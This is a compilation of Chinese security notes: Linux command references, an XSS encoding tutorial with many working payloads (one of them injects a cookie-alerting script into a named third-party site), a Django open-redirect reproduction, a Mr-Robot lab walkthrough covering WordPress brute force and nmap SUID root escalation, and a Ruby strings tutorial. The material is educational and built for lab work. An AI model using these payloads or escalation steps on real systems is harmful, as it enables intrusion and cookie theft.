encrypted to be flashed on the chip. We did not know which one of
these 1000 is the correct one. After reversing their code, we noticed
that the password check takes very long time (hours), so we cannot
just brute force our way and check all 1000 passwords.
Instead, we noticed there's a debug mode in the program, which
outputs some analog data to chip's DAC. Each of the 1000 samples
has somewhat different pattern.
We dumped the pattern from our chip using logic analyzer, and
simulated each of the 1000 known ones using `simavr`. One of them
matched ours. Typing its password to the chip's UART, we got the flag.
|
sec-knowleage
|
info
===
Linux下info格式的帮助指令
## 补充说明
**info命令** 是Linux下info格式的帮助指令。
就内容来说,info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命令会更好些,但实际上学习和使用起来更困难。
### 语法
```shell
info(选项)(参数)
```
### 选项
```shell
-d:添加包含info格式帮助文档的目录;
-f:指定要读取的info格式的帮助文档;
-n:指定首先访问的info帮助文件的节点;
-o:输出被选择的节点内容到指定文件。
```
### 参数
帮助主题:指定需要获得帮助的主题,可以是指令、函数以及配置文件。
### 实例
在info后面输入命令的名称就可以查看该命令的info帮助文档了:
```shell
info info
```
面介绍一下它的几个常用快捷键。
```shell
**?键:** 它就会显示info的常用快捷键。
**N键:** 显示(相对于本节点的)下一节点的文档内容。
**P键:** 显示(相对于本节点的)前一节点的文档内容。
**U键:** 进入当前命令所在的主题。
**M键:** 敲M键后输入命令的名称就可以查看该命令的帮助文档了。
**G键:** 敲G键后输入主题名称,进入该主题。
**L键:** 回到上一个访问的页面。
**SPACE键:** 向前滚动一页。
**BACKUP或DEL键:** 向后滚动一页。
**Q:** 退出info。
```
**命令**
```shell
**?** 显示帮助窗口
在帮助窗口中:
**Ctrl-x 0** 关闭帮助窗口
**Ctrl-x Ctrl-c** 关闭整个 Info
**q** 退出 info
**n** 打开与本 Node 关联的下一个 Node
**p** 打开与本 Node 关联的前一个 Node
**u** 打开与本 Node 关联的上一个 Node
**l** 回到上一次访问的 Node
**m或g** 选择一个菜单项(Node 的名字)
输入指定菜单的名字后按回车,打开指定菜单项关联的 Node
**空格键** 下一页(PageDown 也可以,下一页从当前页的最后两行开始算起)
下一个 Node (若当前页在 Node 文档的末尾)
**Del 键** 上一页(PageUp 也可以,上一页从当前页的开始两行开始算起)
上一个 Node (若当前页 Node 文档的开始)
**b 或 t 或 Home** 文档的开始(b 是 begining 的意思)
**e 或 End** 文档的末尾(b 是 ending 的意思)
**Ctrl-l** 刷新当前页,若当前文档显示情况有问题时
**Ctrl-g** 取消所键入的指令
```
|
sec-knowleage
|
## 一、html, js 的自解码机制
html 的解析顺序:html parser --> css parser -->javascript parser
`<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(123)>')" />`
我们可以看到这个button添加了click事件,那么当点击按钮的时候会向网页的文档流中插入html代码,弹出对话框。
``` javascript
<script>
function HtmlEncode(str) {
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&");
s = s.replace(/</g, "<");
s = s.replace(/>/g, ">");
s = s.replace(/\"/g, """);
return s;
}
</script>
```
A: `<input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />`
B: `<input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />`
上面两条的执行结果是一样的,都只是在网页中输出了`<img src=@ onerror=alert(123) />` 而没有弹框, 只不过A中的js代码在执行前已经先按照html的形式解码了,浏览器已经先将 `<img src=@ onerror=alert(123) />` 解码成 `<img src=@ onerror=alert(123) />`,所以他们的执行效果是一样的。
关键的问题是这里的js代码是出现在html标签之间的,因为嵌入到html标签中的js 代码在解析之前会先按照html规则进行自动解码,包括:
进制编码:&#xH(十六进制格式)、&#D(十进制格式)。
HTML 实体编码,下面是 html5 新增的实体编码:
&colon; => [冒号]
&NewLine; => [换行]
case: `<a href="javasc
ript:alert(1)">click</a>`
以上是关于js在html内的解码,那么假如用户的输入后所传递的值并不是出现在html标签之内,而是出现在js中呢? 浏览器也有js的解析规则,还是举例子来说明
``` javascript
<script>
document.write('<img src=@ onerror=alert(123) />');
</script>
```
上边的例子会弹出对话框吗?是不会的,因为它出现在js代码之中,上下文环境为JavaScript,浏览器解析前会将出现在js代码中的以下内容编码进行解码
1):UniCode形式(\uH)
``` javascript
<script>
document.write('\u003Cimg src=@ onerror=alert(123) /\u003E');
</script>
```
我们发现这个例子弹出对话框了,道理是一样的,js在执行前已经将特殊字符解码了。
2):普通16进制(\xHH) 或者 8进制(\[0-7]{1,3})
``` javascript
<script>
document.write('\x3Cimg src=@ onerror=alert(123) /\x3E');
</script>
```
3):纯转义,如果用户带入js代码的内容中含有 '、"、< 、> 这些字符将他们进行转义是没有意义的,还是会原样的输出
看下边的示例:
``` javascript
<script>
//document.write('\<img src=@ onerror=alert(123) /\>'); //弹框
//document.write('te\'st'); //te'st
//document.write('te\"st'); //te"st
</script>
```
由此可知 在js代码中对这些字符转义是没意义的。
具有 HtmlEncode 功能的标签
如 <textarea>、<title>、<iframe>、<noscript>、<noframes>、<xmp>、<plaintext>, html 在这些标签里面是不解析的,比如 `$('tt').innerHTML='<img src=@ onerror=alert(123) />'`,不会造成弹框。<xmp> 没有HtmlEncode 功能,<plaintext> 在 Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下面会。
## 二、解码顺序
1.第一个例子,现在考虑这三种编码同时存在的情况
`<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>`
首先是 HTML 解码,结果为
`<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>` (上一行代码浏览器解析完查看dom树审查元素)
点击链接后,先是 URL 解码,结果为(假设是 style 属性,则会执行 css 解码)
`<a href="javascript: alert('\<http://simba.cc/find?q=你好\>');">click</a>`
最后是 JS 解码,结果为
`<a href="javascript: alert('<http://simba.cc/find?q=你好>');">click</a>`
应该会出现一个弹窗,内容是 `<http://simba.cc/find?q=你好>` 。
2.第二个例子,一段 php 代码
``` php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
</body>
</html>
```
当参数input的值为: `%26lt%5cu4e00%26gt` 的时候,因为 php 使用 $_GET 获取参数值(urldecode),故返回的 html 源码是 `<a href="javascript:alert('<\u4e00>');">test</a>`,浏览器解析时 html 解码 为 `<a href="javascript:alert('<\u4e00>');">test</a>` (查看dom 树审查元素),点击时进行 js 解码,故弹框为 `<一>`
## 三、浏览器urlencode 的影响
从浏览器 url 发出的请求,如果进行了 urlencode(比如chrome一般会编码 "<>,firefox 一般会编码 ' " ` <>, 而ie 分具体情况,如 /path/payload 会编码,而 /path/aa?bb=paylod 不会编码),比如将 `"` 转成`%22` 发出去,在服务器端的php 接收到的是原始的`"` 还是编码后的`%22` 得看用`$_GET["key"]` 还是`$_SERVER['QUERY_STRING']`,还要看在php 脚本内有没有做 `addslashes` 或者 `htmlspecialchars` 等函数调用,这样就能判断解析脚本 echo/print 出来的html 是怎样的组织形式,当然客户端请求得到的html 也就是这样的形式了。那为什么在chrome中对于< 等没有alert 弹窗呢,只是因为某些浏览器有anti_xss 模块或者filter,在浏览器解析 html 的时候 过滤掉这些危险的script 而没有执行,比如 ie 可以关闭掉 xss 筛选器让其弹框,而chrome 对于直接从参数中引入到页面的标签会限制其执行。对于ie 而言,如果页面 js 取location.href or #锚参数 or get参数 的值,则保持 地址栏原有模样(可能编码或者没编码)。其他浏览器 取到的都是编码后的样子(取决于浏览器本身会编码哪些字符发起请求,当然本身如二次url 编码后则取到的就是二次编码后的字符串)。这对于domxss 来说是一个比较重要的区分点,关注是否使用了 js 函数 decodeURIComponent(),也是是否会造成 domxss 漏洞的一个区分点。
为了看参数是否Urlencode对返回结果是否有影响,可以用一些工具比如 fiddle 发出编码和不编码时的请求,对比观察。这种不编码访问才能触发的xss 漏洞,最简单的利用方式是写一个html,里面用 iframe src 引入完整不编码 payload 链接,用 ie 访问此 html。注意如果此时弹 cookie 的话弹出的是 iframe 内 domain 域的 cookie,因为浏览器在请求第三方站点时也会把相关cookie发送出去(没有P3P 属性的 persistent cookie 有例外),如下:
`<html lang="zh-cn"><body><iframe src="http://subao.dayuw.cn/web/index.php?c=user&a='};alert(document.cookie);aa={//"></body></html>`
注意:由于同源策略的存在,本地html 是读取不到第三方站点 cookie的,但这里演示的是第三方站点自己存在漏洞,自己执行 js 弹cookie。
## 四、测试样例
下面的测试用例涉及到的底层知识比较多,详情可以查阅Reference的第二篇文章,在这里只做简单介绍。
Basics
1. `<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>`
URL encoded "javascript:alert(1)"
不会触发。javascript: 是 scheme,不能进行urlencode,否则 urldecode 时出现 "no scheme" 状态。
2. `<a href="javascript:%61%6c%65%72%74%28%32%29">`
Character entity encoded "javascript" and URL encoded "alert(2)"
触发。先进行 htmldecode,点击执行urldecode,最后执行 js。
3. `<a href="javascript%3aalert(3)"></a>`
URL encoded ":"
不会触发。冒号是 scheme 的一部分。
4. `<div><img src=x onerror=alert(4)></div>`
Character entity encoded < and >
不会触发。< > 是识别 tag 的开始结束符,不能进行编码。
5. `<textarea><script>alert(5)</script></textarea>`
Character entity encoded < and >
如前所述,textarea 等标签内不会进行 htmldecode。
6. `<textarea><script>alert(6)</script></textarea>`
不会触发。textarea 标签内不会执行 js,除非我们先把它闭合了。
Advanced
7. `<button onclick="confirm('7');">Button</button>`
Character entity encoded '
触发。先进行 htmldecode,点击触发 js 事件
8. `<button onclick="confirm('8\u0027);">Button</button>`
Unicode escape sequence encoded '
不会触发。' " ( ) 的unicode 编码形式在这里只是字符串的文本含义,并不能表示真正的引号闭合。
9. `<script>alert(9);</script>`
Character entity encoded alert(9);
不会触发。script 域内不会进行 htmldecode
(add: `<script src="ah.js"></script>` // ah.js --> alert(document.domain);)
10. `<script>\u0061\u006c\u0065\u0072\u0074(10);</script>`
Unicode Escape sequence encoded alert
触发。function name 是 identifier name,可以用unicode 方式编码。
(add: at here only unicode can be used to encode function name, but not \xHH or \OOO,
of course we can
``` javascript
var a = "\74\151\155\147\40\163\162\143\75\43\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76";
document.body.innerHTML = a; // <img src=# onerror=alert(1)>
or
<div><a href="javascript:\u0061lert('1\x62')">ga</a></div>
or
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074(1)">
```
)
11. `<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>`
Unicode Escape sequence encoded alert(11)
不会触发。同问题2。
12. `<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>`
Unicode Escape sequence encoded alert and 12
不会触发。unicode 编码的 1, 2 在这里不能表示成字符串,因为它们不是被包裹在 ' " 中。
(add: the examples below works fine.
``` javascript
<script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
<script>\u0061\u006c\u0065\u0072\u0074(/\u0031\u0032/)</script>
<script>\u0061\u006c\u0065\u0072\u0074(12)</script>
```
)
13. `<script>alert('13\u0027)</script>`
Unicode escape sequence encoded '
不会触发。同问题2。
14. `<script>alert('14\u000a')</script>`
Unicode escape sequence encoded line feed.
触发。unicode 编码的换行符在这里并不会真正地换行而导致js 语法错误,而是普通的文本含义。
15. `<a href='javascript:focusUser("616d75576d3242746c5a7076%22-alert(777)-%22",1,"focusId");'>`
点击会触发。先进行urldecode,这样 js 函数内的双引号就可以闭合。
`<a href='javascript:focusUser("616d75576d3242746c5a7076%22-document.write(%27%3Ciframe/onload=alert(11)%3E%27)-%22",1,"focusId");'`
在 ie 点击时会触发,可以将 `"-document.write('<iframe/onload=alert(11)>')-"` 提取出来作为一条 domxss 的测试用例。
Bonus
``` html
<a
href="javascript:%
5c%75%30%30%3
6%31%5c%75%30
%30%36%63%5c%
75%30%30%36%3
5%5c%75%30%30
%37%32%5c%75%
30%30%37%34(1
5)"></a>
```
You figure out the encoding on this yourself!
(add: html decode --> url decode --> js decode, then it works!
if href's value contain &#34; if will turn into &quot; inorder not to close the pre double quote )
## Reference
《Web 前端黑客技术揭秘》
[Deep dive into browser parsing and XSS payload encoding](http://www.attacker-domain.com/2013/04/deep-dive-into-browser-parsing-and-xss.html)
|
sec-knowleage
|
# JAVA安全
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**CTF writup**
- [BUU-Java逆向解密](https://blog.csdn.net/qq_42602454/article/details/108825608)
---
## 代码混淆
- https://allatori.com/
- [lqs1848/AllatoriCrack](https://github.com/lqs1848/AllatoriCrack) - 破解 Java 混淆工具 Allatori
---
## 反编译
**在线反编译工具**
- [Java decompiler online](http://www.javadecompilers.com/)
**反编译工具**
- [skylot/jadx](https://github.com/skylot/jadx) - Dex to Java decompiler
- [java-decompiler/jd-gui](https://github.com/java-decompiler/jd-gui) - A standalone Java Decompiler GUI
- [deathmarine/Luyten](https://github.com/deathmarine/Luyten) - An Open Source Java Decompiler Gui for Procyon
---
## JAVA代码审计
- [JAVA代码审计](./JAVA安全/JAVA代码审计.md)
|
sec-knowleage
|
lsof
===
显示Linux系统当前已打开的所有文件列表 `lsof -p pid`
## 补充说明
**lsof命令** 用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。
在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等,系统在后台都为该应用程序分配了一个文件描述符,无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。
### 语法
```shell
lsof (选项)
```
### 选项
```shell
-a:列出打开文件存在的进程;
-c<进程名>:列出指定进程所打开的文件;
-g:列出GID号进程详情;
-d<文件号>:列出占用该文件号的进程;
+d<目录>:列出目录下被打开的文件;
+D<目录>:递归列出目录下被打开的文件;
-n<目录>:列出使用NFS的文件;
-i<条件>:列出符合条件的进程(协议、:端口、 @ip )
-p<进程号>:列出指定进程号所打开的文件;
-u:列出UID号进程详情;
-h:显示帮助信息;
-v:显示版本信息
```
### 实例
```shell
lsof
command PID USER FD type DEVICE SIZE NODE NAME
init 1 root cwd DIR 8,2 4096 2 /
init 1 root rtd DIR 8,2 4096 2 /
init 1 root txt REG 8,2 43496 6121706 /sbin/init
init 1 root mem REG 8,2 143600 7823908 /lib64/ld-2.5.so
init 1 root mem REG 8,2 1722304 7823915 /lib64/libc-2.5.so
init 1 root mem REG 8,2 23360 7823919 /lib64/libdl-2.5.so
init 1 root mem REG 8,2 95464 7824116 /lib64/libselinux.so.1
init 1 root mem REG 8,2 247496 7823947 /lib64/libsepol.so.1
init 1 root 10u FIFO 0,17 1233 /dev/initctl
migration 2 root cwd DIR 8,2 4096 2 /
migration 2 root rtd DIR 8,2 4096 2 /
migration 2 root txt unknown /proc/2/exe
ksoftirqd 3 root cwd DIR 8,2 4096 2 /
ksoftirqd 3 root rtd DIR 8,2 4096 2 /
ksoftirqd 3 root txt unknown /proc/3/exe
migration 4 root cwd DIR 8,2 4096 2 /
migration 4 root rtd DIR 8,2 4096 2 /
migration 4 root txt unknown /proc/4/exe
ksoftirqd 5 root cwd DIR 8,2 4096 2 /
ksoftirqd 5 root rtd DIR 8,2 4096 2 /
ksoftirqd 5 root txt unknown /proc/5/exe
events/0 6 root cwd DIR 8,2 4096 2 /
events/0 6 root rtd DIR 8,2 4096 2 /
events/0 6 root txt unknown /proc/6/exe
events/1 7 root cwd DIR 8,2 4096 2 /
```
**lsof输出各列信息的意义如下:**
标识 | 说明
:- | :-
`COMMAND` | 进程的名称
`PID` | 进程标识符
`PPID` | 父进程标识符(需要指定-R参数)
`USER` | 进程所有者
`PGID` | 进程所属组
`FD` | 文件描述符,应用程序通过它识别该文件
文件描述符列表:
标识 | 说明
:- | :-
`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
`lnn` | 库引用 (AIX);
`er` | FD 信息错误(参见名称栏)
`jld` | jail 目录 (FreeBSD);
`ltx` | 共享库文本(代码和数据)
`mxx` | 十六进制内存映射类型编号xx
`m86` | DOS合并映射文件
`mem` | 内存映射文件
`mmap` | 内存映射设备
`pd` | 父目录
`rtd` | 根目录
`tr` | 内核跟踪文件 (OpenBSD)
`v86` | VP/ix 映射文件
`0` | 表示标准输出
`1` | 表示标准输入
`2` | 表示标准错误
一般在标准输出、标准错误、标准输入后还跟着文件状态模式:
标识 | 说明
:- | :-
`u` | 表示该文件被打开并处于读取/写入模式
`r` | 表示该文件被打开并处于只读模式
`w` | 表示该文件被打开并处于写入模式
`空格` | 表示该文件的状态模式为 unknow,且没有锁定
`-` | 表示该文件的状态模式为 unknow,且被锁定
同时在文件状态模式后面,还跟着相关的锁:
标识 | 说明
:- | :-
`N` | 对于未知类型的Solaris NFS锁
`r` | 用于部分文件的读取锁定
`R` | 对整个文件进行读取锁定
`w` | 对文件的一部分进行写锁定(文件的部分写锁)
`W` | 对整个文件进行写锁定(整个文件的写锁)
`u` | 用于任何长度的读写锁
`U` | 对于未知类型的锁
`x` | 对于文件部分的SCO OpenServer Xenix锁
`X` | 对于整个文件的SCO OpenServer Xenix锁
`space` | 如果没有锁
**文件类型**
标识 | 说明
:- | :-
`DIR` | 表示目录
`CHR` | 表示字符类型
`BLK` | 块设备类型
`UNIX` | UNIX 域套接字
`FIFO` | 先进先出 (FIFO) 队列
`IPv4` | 网际协议 (IP) 套接字
`DEVICE` | 指定磁盘的名称
`SIZE` | 文件的大小
`NODE` | 索引节点(文件在磁盘上的标识)
`NAME` | 打开文件的确切名称
`REG` | 常规文件
列出指定进程号所打开的文件:
```shell
lsof -p $pid
```
获取端口对应的进程ID=>pid
```shell
lsof -i:9981 -P -t -sTCP:LISTEN
```
列出打开文件的进程:
```shell
lsof $filename
```
查看端口占用
```shell
lsof -i:$port
```
|
sec-knowleage
|
# String Sections
## .strtab: String Table
该节区描述默认的字符串表,包含了一系列的以 NULL 结尾的字符串。ELF 文件使用这些字符串来存储程序中的符号名,包括
- 变量名
- 函数名
该节在运行的过程中不需要加载,只需要加载对应的子集 .dynstr 节。
一般通过对字符串的首个字母在字符串表中的下标来索引字符串。
字符串表的首尾字节都是NULL。此外,索引为 0 的字符串要么没有名字,要么就是名字为空,其解释依赖于上下文。字符串表也可以为空,相应的,其节区头部的 sh_size 成员将为 0。在空字符串表中索引大于 0 的下标显然是非法的。
一个节区头部的 sh_name 成员的值为其相应的节区头部字符串表节区的索引,此节区由 ELF 头的 e_shstrndx 成员给出。下图给出了一个包含 25 个字节的字符串表,以及与不同索引相关的字符串。
| 索引 | +0 | +1 | +2 | +3 | +4 | +5 | +6 | +7 | +8 | +9 |
| ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
| 0 | \0 | n | a | m | e | . | \0 | V | a | r |
| 10 | i | a | b | l | e | \0 | a | b | l | e |
| 20 | \0 | \0 | x | x | \0 | | | | | |
其中包含的字符串有
| 索引 | 字符串 |
| ---- | -------- |
| 0 | none |
| 1 | name. |
| 7 | Variable |
| 11 | able |
| 16 | able |
| 24 | 空字符串 |
可以看出
- 字符串表索引可以引用节区中任意字节。
- 字符串可以出现多次。
- 可以存在对子字符串的引用。
- 同一个字符串可以被引用多次。
- 字符串表中也可以存在未引用的字符串。
这部分信息在进行 `strip` 后就会消失。
## .shstrtab: Section Header String Table
该节区与 `.strtab` 的存储结构类似,不过该节区存储的是节区名的字符串。
|
sec-knowleage
|
# Writeup 0CTF Quals 2017
Team: akrasuski1, msm, nazywam, ppr, psrok1, shalom, rev
### Table of contents
* [Integrity (crypto)](integrity)
|
sec-knowleage
|
# Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的`django.middleware.common.CommonMiddleware`、`APPEND_SLASH`来决定)。
在path开头为`//example.com`的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
该漏洞利用条件是目标`URLCONF`中存在能匹配上`//example.com`的规则。
## 漏洞环境
运行如下环境编译及运行一个基于django 2.0.7的网站:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8000`即可查看网站首页。
## 漏洞复现
访问`http://your-ip:8000//www.example.com`,即可返回是301跳转到`//www.example.com/`:

|
sec-knowleage
|
# 安全运营工具开发
## IOC Explorer
IOC: Indicator of Compromise
> 关联失陷指标是安全事件调查乃至威胁狩猎的重要步骤。发现一个主机的IP地址与多个恶意文件存在关联,并且进一步确认这个主机旨在提供恶意文件下载服务,该发现有助于让安全运营团队实施更加有效的安全预防措施,比如:阻断内部主机与该恶意IP的访问连接。
> IOC Explorer旨在协助分析人员在所有可用的威胁情报源中自动执行迭代查询,并在所有失陷指标间构建清晰的树状关系结果。在减轻了人工负担的同时,该工具也会协助分析人员发现更多调查线索。
- 工具链接:[Link](https://github.com/lion-gu/ioc-explorer)
- 文章链接:[Link](https://www.freebuf.com/news/211108.html)
## 威胁发现设备
TDA:Threat Discovery Appliance
这个概念主要围绕威胁的发现、定位和处置。常常是软硬件结合的,需要专家经验的(当然,自动化是方向)。
### 全流量检测设备
部署场景主要为以下几种:
- 内网部署,连接内网交换机端口镜像进行流量采集
- 出口部署,连接网络出口交换机的镜像端口
- 分布式探针部署,探针模式,并常采用分布式部署进行流量采集
- 骨干网部署,高带宽场景下,对采集率和还原能力有特别的要求
- 便携式部署,使用特定的硬件设备,可随身携带进行检测
|
sec-knowleage
|
# Mr-Robot:1
下载地址
```
https://download.vulnhub.com/mrrobot/mrRobot.ova
```
## 实战操作
靶机扫描地址:`192.168.32.169`。

对靶机进行端口扫描
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p1-65535 192.168.32.169
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 21:55 EDT
Nmap scan report for 192.168.32.169
Host is up (0.00030s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
MAC Address: 00:0C:29:DC:72:F4 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 106.71 seconds
```
访问80端口网站是动画。

扫描80端口
```
┌──(root💀kali)-[~/Desktop]
└─# nikto -h http://192.168.32.169
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.32.169
+ Target Hostname: 192.168.32.169
+ Target Port: 80
+ Start Time: 2022-07-14 21:58:32 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See htt
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.32.169/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2022-07-14 22:01:02 (GMT-4) (150 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
目录爆破

发现文件:`robots.txt`。

下载这两个文件,其中`key-1-of-3.txt`是一个加密字符串,`fsocity.dic`是一个字典,我猜这是我们以后必须使用的东西。
```
073403c8a58a1f80d943455fb30724b9
```
有许多不同的工具能够暴力破解 Web 应用程序,而 Burp Suite 对于这项任务可能有点矫枉过正。但是,我知道如何使用 Burp 并且发现它非常直观,所以我将坚持我所知道的。开启代理后,我将捕获登录请求并将其发送给入侵者。在那里,我将清除现有位置并将我自己的位置添加到日志参数中。
然后,我将 fsociety.dic 文件加载到有效负载中并开始攻击 很快我们就可以看到用户 Elliot 的响应长度与其余响应的长度不同。这表明被发回的错误消息与其他用户的错误消息不同。

爆破wordpress登录密码
```
[!] Valid Combinations Found:
| Username: Elliot, Password: ER28-0652
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Jul 14 22:58:31 2022
[+] Requests Done: 1889
[+] Cached Requests: 6
[+] Data Sent: 634.845 KB
[+] Data Received: 176.135 MB
[+] Memory used: 376.395 MB
[+] Elapsed time: 00:37:43
```
登录wordpress

修改404.php
> https://192.168.32.169/wp-admin/theme-editor.php

nc反弹成功,找到一个hash
```
$ cat pass*
robot:c3fcd3d76192e4007dfb496cca67e13b
```

去网上查找hash的值密码,`abcdefghijklmnopqrstuvwxyz`

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$
```
查看key.txt
```
robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat ke*
cat ke*
822c73956184f694993bede3eb39f959
```
但是无法破解

查看SUID的程序
```
robot@linux:~$ find / -u=s --perm 2>/dev/null
find / -u=s --perm 2>/dev/null
robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
```
使用nmap进行提权
```
robot@linux:/$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# cd /root
cd /root
# ls
ls
firstboot_done key-3-of-3.txt
# cat key*
cat key*
04787ddef27c3dee1ee161b21670b4e4
# cat fi*
cat fi*
# cat firstboot_done
cat firstboot_done
#
```
|
sec-knowleage
|
# 字符串类
---
- https://www.kancloud.cn/imxieke/ruby-base/107302
---
# 字符串的创建
最简单的字符创建方法就是把字符的集合用 `" "` 或者 `' '` 括起来并直接写到程序中。
```ruby
str1 = "这也是字符串"
str2 = ' 那也是字符串'
```
使用 `" "` 时还可以执行用 `#{}` 括起来的 Ruby 式子,并将执行结果嵌入到字符串中。这个 `#{}` 就称为内嵌表达式(embedded expressions)。
```ruby
moji = "字符串"
str1 = "那也是#{moji}"
p str1 #=> "那也是字符串"
str2 = ' 那也是#{moji}'
p str2 #=> "那也是\#{moji}"
```
使用 `" "` 时,可以显示使用 `\`转义的特殊字符。
使用 \ 转义的特殊字符
特殊字符 | 意义
- | -
\t | 水平制表符(0x09)
\n | 换行符(0x0a)
\r | 回车(0x0d)
\f | 换页(0x0c)
\b | 退格(0x08)
\a | 响铃(0x07)
\e | 溢出(0x1b)
\s | 空格(0x20)
\v | 垂直制表符(0x0b)
\nnn | 8 进制表示方式(n 为 0~ 7)
\Xnn | 16 进制表示方式(n 为 0 ~ 9、a ~ f、A ~ F)
\Cx、\C-x | Control + x\M-x Meta(Alt) + x
\M-\C-x | Meta(Alt) + Control + x
\x | 示 x 字符本身(x 为除以上字符外的字符)
\Unnnn | Unicode 字符的 16 进制表示方式(n 为 0 ~ 9、a ~ f、A ~ F)
下面我们来看看不用 `" "`、`' '` 时应如何创建字符串。
**使用 %Q 与 %q**
当创建包含 `"` 或者 `'` 的字符串时,比起使用 `\"`、`\'` 进行转义,使用 `%Q` 或者 `%q` 会更简单。
```ruby
desc = %Q{Ruby 的字符串中也可以使用'' 和""。}
str = %q|Ruby said, 'Hello world!'|
```
使用 `%Q` 相当于用 `" "` 创建字符串,使用 `%q` 则相当于用 `' '` 创建字符串。
**使用 Here Document**
Here Document 是源自于 Unix 的 shell 的一种程序写法,使用 `<<` 来创建字符串。创建包含换行的长字符串时用这个方法是最简单的。
```ruby
<<"结束标识符"
字符串内容
结束标识符
```
